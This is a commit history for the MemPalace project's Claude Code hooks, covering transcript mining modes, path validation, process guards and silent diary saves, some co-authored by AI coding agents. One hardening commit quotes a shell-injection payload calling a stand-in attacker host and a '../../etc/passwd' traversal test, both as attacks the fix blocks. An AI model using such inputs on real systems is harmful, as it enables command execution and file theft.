Commit Graph

18 Commits

Author SHA1 Message Date
Igor Lins e Silva eb4de04339 fix(hooks): always mine the active transcript as convos, additive to MEMPAL_DIR
#1230 fixed --mode convos for the case where MEMPAL_DIR was unset, but
left two configurations broken:

  - MEMPAL_DIR set to a project dir: convos never mined (MEMPAL_DIR
    overrode the transcript path); only project files were ingested.
  - MEMPAL_DIR set to a conversations dir per the old hooks/README: the
    projects miner ran on JSONL — same wrong-miner behaviour.

The shell hooks (mempal_save_hook.sh, mempal_precompact_hook.sh) had
the same MEMPAL_DIR-overrides-transcript bug AND were missing --mode
on every spawned `mempalace mine` call.

Make the auto-ingest *additive*. _get_mine_dir → _get_mine_targets,
returning a list of (dir, mode) pairs:

  - MEMPAL_DIR (when valid) contributes (dir, "projects")
  - A valid transcript JSONL contributes (parent, "convos")
  - Both can appear together; the hook spawns one ingest per target

Same change applied to the shell save and precompact hooks. Precompact
also gained transcript_path parsing so it can run the convos mine
synchronously before context is compressed. hooks/README.md updated to
describe MEMPAL_DIR as a project-files target, never a convos target.
2026-04-27 00:32:35 -03:00
copilot-swe-agent[bot] 6a8beef604 fix(hooks): harden _get_mine_dir path validation
- Normalize MEMPAL_DIR via Path.expanduser().resolve() so ~/proj paths
  are correctly accepted instead of falling through to transcript fallback
- Replace bare Path.expanduser().is_file() transcript check with the
  existing _validate_transcript_path() which adds .resolve(), enforces
  .jsonl/.json extension, and rejects '..' path-traversal components
- Update tests to compare resolved paths (cross-platform correctness)
- Add tests for tilde expansion, path-traversal rejection, and
  non-jsonl extension rejection in _get_mine_dir

Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/f69176c7-d752-40ef-ba71-d0e4adc3a689

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-27 02:40:01 +00:00
Igor Lins e Silva 1e3e89a78f fix(hooks): pass --mode convos when mining a Claude Code transcript dir
The Stop and PreCompact hooks spawn `mempalace mine <dir>` with no
`--mode` flag, which defaults to `projects` in cli.py. When MEMPAL_DIR
is unset, _get_mine_dir falls back to the parent of the transcript
JSONL — and miner.py's READABLE_EXTENSIONS includes `.jsonl`, so the
projects miner happily ingests Claude Code session JSONL as if it were
source code instead of conversation.

Make _get_mine_dir return (dir, mode): MEMPAL_DIR keeps `projects`,
the JSONL fallback yields `convos`. Both _maybe_auto_ingest and
_mine_sync now thread the mode into the spawned command.
2026-04-26 23:25:12 -03:00
Igor Lins e Silva d1583750e8 fix(hooks): derive project wing from non-macOS transcript paths (#1145)
_wing_from_transcript_path only matched '-Projects-<name>' segments,
so Linux users with code under ~/dev/, ~/code/, or ~/src/ fell through
to the wing_sessions fallback and lost the per-project diary scoping
introduced in #659.

Broaden the heuristic to derive the project from the final
dash-separated token of the encoded project-folder name under
.claude/projects/. Keeps the legacy -Projects- regex as a secondary
match for transcripts living outside the standard Claude Code path.

Covers macOS Users layout, Linux dev/code layouts, and deeper nested
source paths while preserving existing Projects/ behavior.
2026-04-23 23:39:23 -03:00
Jeffrey Hein df3ee289fc fix: add wing param to diary_write/diary_read, derive from transcript path (#659)
* fix: add wing param to diary_write/diary_read, derive from transcript path

Without a wing override, all diary entries from the stop hook land in
wing_session-hook regardless of which project the session is in, making
per-project diary search impossible.

- tool_diary_write(): add optional `wing` param; sanitize and use it when
  provided, fall back to wing_{agent_name} when omitted
- tool_diary_read(): add optional `wing` param for filtering by target wing
- TOOLS dict: expose `wing` in input_schema for both diary tools
- hooks_cli: add _wing_from_transcript_path() helper that extracts the
  project name from Claude Code paths like
  ~/.claude/projects/-home-jp-Projects-kiyo-xhci-fix/... → kiyo-xhci-fix
- hook_stop: derive project wing and append wing= hint to block reason so
  Claude writes diary entries to the correct per-project wing

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix: sanitize wing param, cross-platform paths, tighten test assertions

Addresses Copilot review feedback on #659.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: wing_ prefix + agent filter on diary_read

Addresses bensig's 2-issue review on this PR.

1. _wing_from_transcript_path() was returning bare project names
   (e.g. "myproject") while all existing wings follow the wing_*
   convention from AAAK_SPEC. Entries landed in wing="myproject"
   while diary_read defaulted to wing="wing_<agent_name>" —
   orphaning every diary entry written by the stop hook. Now
   returns "wing_<project>" and falls back to "wing_sessions".

2. tool_diary_read() did not include agent_name in the ChromaDB
   where filter when a custom wing was provided — any caller with
   a shared wing could read entries written by other agents.
   Add {"agent": agent_name} to the $and clause. Also flagged by
   Qudo and left unresolved until now.

Tests updated to expect the wing_ prefix (6 tests).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-23 15:07:25 -07:00
Ben Sigman 23ee2a02fd Merge pull request #673 from jphein/feat/deterministic-hook-save
Clean squash by jphein on 2026-04-21. Backwards-compatible via hook_silent_save config flag. Save marker now only advances after confirmed write — strictly safer than status quo.
2026-04-21 17:38:21 -07:00
Ben Sigman 02aafc0715 Merge pull request #1021 from jphein/upstream-fix/silent-save-visibility
silent_guard default fixed to True per 2026-04-19 review. ImportError/AttributeError handling narrowed. CI all green.
2026-04-21 17:38:13 -07:00
jp 74e9cbcfd3 feat: deterministic hook saves — zero data loss via silent Python API
Adds a `hook_silent_save` mode (default `true` in new installs) where
the stop and precompact hooks write diary entries directly via the
Python API — no AI block, no MCP tool roundtrip, no possibility of the
AI forgetting or ignoring the save instruction.

**Two modes, controlled by `hook_silent_save` in `~/.mempalace/config.json`:**

1. **Silent mode** (default): Direct call to `tool_diary_write()`. Plain
   text, no AI involved, deterministic. Save marker advances only after
   the write is confirmed, so mid-save failures do not lose exchanges.
   Shows `"✦ N memories woven into the palace"` as a systemMessage
   notification so the user knows the save fired.

2. **Block mode** (legacy): Returns `{"decision": "block"}` asking the
   AI to call the MCP tool chain. Non-deterministic — the AI may ignore,
   summarize lossy, or fail. Kept for backward compatibility.

**Extras rolled in:**
- Block reasons name "MemPalace" explicitly and instruct the AI not to
  write to Claude Code's native auto-memory (.md files) — prevents the
  two memory systems from stepping on each other.
- Codex transcript handling (`event_msg` payloads) in
  `_count_human_messages` + `_extract_recent_messages`.
- Tightened stopword leak in diary summaries; docstring polish; test
  hermeticity fixes (per-test `STATE_DIR` patching).

**Tests:** hooks_cli tests cover silent-save path, save-marker
advancement after confirmed write only, and systemMessage formatting.

Rebased fresh on upstream/develop. Only touches files germane to the
feature (hooks_cli.py, tests, hooks/README.md, HOOKS_TUTORIAL.md) —
stale fork-local `.sh` wrapper and plugin manifest changes dropped.
2026-04-21 13:20:52 -07:00
jp a6b6e55247 fix: PID file guard prevents stacking mine processes
Every stop hook fire spawned a new background `mempalace mine` via
subprocess.Popen with no dedup — 4 concurrent mines at ~770% CPU
observed in production. Add `_mine_already_running()` (reads
`hook_state/mine.pid`, uses `os.kill(pid, 0)` as an existence check)
and `_spawn_mine()` (writes the child PID to the lock file after
Popen returns). `_maybe_auto_ingest` bails early when the guard
reports True.

Tests: 4 new unit tests for `_mine_already_running` (no file, dead
PID, live PID using `os.getpid()`, corrupt file), 1 new test
covering the skip-when-running branch of `_maybe_auto_ingest`, and
existing spawn tests patched to redirect `_MINE_PID_FILE` into
tmp_path so they don't touch the real state dir.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-18 20:27:56 -07:00
jp 2183d866f3 style(hooks): ruff format hooks_cli.py and test_hooks_cli.py
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-18 18:09:29 -07:00
jp 1531a253be test: add missing import os in test_hooks_cli
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-18 18:05:18 -07:00
jp 5deb815f0b fix(hooks): address Copilot review feedback on #1021
- _output(): use sys.modules.get() instead of unconditional import to
  avoid triggering mcp_server's stdout redirect as a side effect
- _output(): write-all loop for os.write() to handle partial writes and
  EINTR; fall back to sys.stdout.buffer on OSError
- _output() docstring: remove inaccurate _save_diary_direct reference
- stop_hook_active guard: narrow except to ImportError/AttributeError,
  default silent_guard=False (safe: preserves block-mode loop prevention
  when config load fails) and log a warning instead of silently changing
  behavior
- tests: two new regression tests covering the real-stdout-fd path and
  the fd-1 fallback path

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-18 18:05:18 -07:00
Mikhail Valentsev ecd44f7cb7 fix(hooks): stop precompact hook from blocking compaction (#856, #858) (#863)
* fix(hooks): stop precompact hook from blocking compaction

The precompact hook unconditionally returned {"decision": "block"},
which in Claude Code means "cancel compaction" with no retry mechanism.
This made /compact permanently broken for all plugin users.

Changed hook_precompact() to mine the transcript synchronously (so data
lands before compaction) and return {"decision": "allow"}. This matches
the standalone bash hook in hooks/ which already uses allow.

Also extracted _get_mine_dir() and _mine_sync() helpers so precompact
can mine from the transcript directory, not just MEMPAL_DIR.

Stop hook behavior is unchanged -- left for #673 which implements the
full silent save path.

Closes #856, closes #858.

* fix: use empty JSON instead of invalid \"allow\" decision value

Claude Code only recognizes \"block\" as a top-level decision value.
\"allow\" is a permissionDecision value for PreToolUse hooks, not a
valid top-level decision. The correct way to not block is to return
empty JSON. Caught by #872.
2026-04-15 00:26:54 -07:00
BLUDATA\marcio.heiderscheidt f7d703fd5b fix: add logging on rejected transcript paths and platform-native path test
- _count_human_messages() now logs a WARNING via _log() when a
  non-empty transcript_path is rejected by the validator, making
  silent auto-save failures diagnosable via hook.log
- Add test for platform-native paths (backslashes on Windows) to
  verify _validate_transcript_path works cross-platform
- Add test verifying the warning log is emitted on rejection

Refs: MemPalace/mempalace#809
2026-04-14 07:54:42 -03:00
BLUDATA\marcio.heiderscheidt 0f217f7c80 fix: harden hooks against shell injection, path traversal, and arithmetic injection
save_hook.sh:
- Coerce stop_hook_active to strict True/False before eval to prevent
  command injection via crafted JSON (e.g. "$(curl attacker.com)")
- Validate LAST_SAVE as plain integer with regex before bash arithmetic
  to prevent command substitution via poisoned state files

hooks_cli.py:
- Add _validate_transcript_path() that rejects paths with '..'
  components and non-.jsonl/.json extensions
- _count_human_messages() now uses the validator, returning 0 for
  invalid paths instead of opening arbitrary files

Tests:
- Path traversal rejection (../../etc/passwd)
- Wrong extension rejection (.txt, .py)
- Valid path acceptance (.jsonl, .json)
- Empty string handling
- Shell injection in stop_hook_active field

Refs: MemPalace/mempalace#809
2026-04-14 07:54:42 -03:00
Tal Muskal 9ca70264f3 style: format test files with ruff
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-08 21:08:49 +03:00
Tal Muskal 03e9b57108 test: add comprehensive test coverage (35% → 58%, threshold 50%)
Add 180+ new tests across 10 test files covering previously untested modules:
- instructions_cli (0% → 100%), hooks_cli (73% → 96%), spellcheck (28% → 84%)
- palace_graph (9% → 91%), general_extractor (0% → 92%), entity_detector (0% → 69%)
- entity_registry (0% → 70%), room_detector_local (0% → 55%), layers (0% → 28%)
- onboarding (0% → 36%)

Also fixes Windows encoding bug in onboarding.py (write_text without encoding="utf-8").

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-08 20:54:56 +03:00
Tal Muskal 9de302f881 feat: update README and CI configuration, add tests for hooks functionality 2026-04-08 20:40:03 +03:00